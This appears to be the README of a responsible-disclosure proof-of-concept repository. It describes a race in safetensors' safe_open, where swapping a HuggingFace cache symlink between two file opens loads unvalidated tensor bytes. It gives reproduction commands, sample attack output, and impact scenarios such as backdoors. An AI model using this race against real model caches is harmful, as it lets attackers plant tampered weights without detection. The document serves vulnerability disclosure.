jayantkamble10000/safetensors-toctou-poc

safetensors Validation Bypass PoC — Security Research

Responsible disclosure to huntr.com. Do not use for malicious purposes.

Vulnerability Summary

safe_open(framework="pt") in safetensors silently returns a torch.Tensor whose bytes were never validated, despite completing without error.

The HuggingFace Hub cache stores model files as symlinks by design:

~/.cache/huggingface/hub/models--org--model/
  blobs/
    a3f2c1d9...        ← actual bytes (named by hash)
  snapshots/
    main/
      model.safetensors → ../../blobs/a3f2c1d9...   ← SYMLINK

safe_open() makes two independent open(2) syscalls on this symlink path:

1. Rust File::open(path) → validates header → inode A ✓
2. torch.UntypedStorage.from_file(path) → re-opens path → may get inode B ✗

Any user-level code (malicious pip package, notebook cell) with write access to ~/.cache/huggingface/hub/ can atomically swap the symlink between these two opens — bypassing all safetensors validation silently.

Files

File	Purpose
poc_hf_realworld.py	Primary PoC — exact HF Hub cache layout, two separate processes, no torch required
poc_adversarial_impact.py	Impact PoC — 3 scenarios: moderation bypass, NaN DoS, APT backdoor
poc_toctou.py	Secondary PoC — racy/deterministic/simulation variants
good_model.safetensors	Legitimate model (4×4 float32, 0x00 fill)
malicious_model.safetensors	Malicious model (same structure, 0xDE fill)

Reproduce (no torch needed)

pip install safetensors numpy

# Primary: HF Hub cache attack (two processes)
python3 poc_hf_realworld.py

# Impact: see actual model behavior change
python3 poc_adversarial_impact.py

Confirmed Output

[STAGE 1] HuggingFace Hub cache structure created:
  models--google--flan-t5-base/
  ├── blobs/
  │   ├── a3f2c1d9ee4b72f1...  ← GOOD model (0x00 bytes)
  │   └── deadbeef12345678...  ← EVIL model (0xDE bytes, attacker pre-staged)
  └── snapshots/main/
      └── model.safetensors → ../../blobs/a3f2c1d9...  ← SYMLINK

[VICTIM]   FD₁ open  → inode 12791353
[VICTIM]   Validation → PASSED ✓ (tensors: ['weight'])

[ATTACKER] Swapping symlink NOW (atomic rename)...
[ATTACKER] Swap complete!

[VICTIM]   FD₂ open  → inode 12791354

  ✓ RACE WINDOW CONFIRMED
  inode validated  = 12791353  (what safetensors checked)
  inode torch maps = 12791354  (what the tensor is backed by)
  All 64 bytes of tensor data are attacker-controlled

Affected Component

• File: bindings/python/src/lib.rs
• Function: Open::new() lines 554–698
• Frameworks affected: PyTorch ≥ 1.11.0, Paddle ≥ 3.1.1
• NumPy backend: NOT affected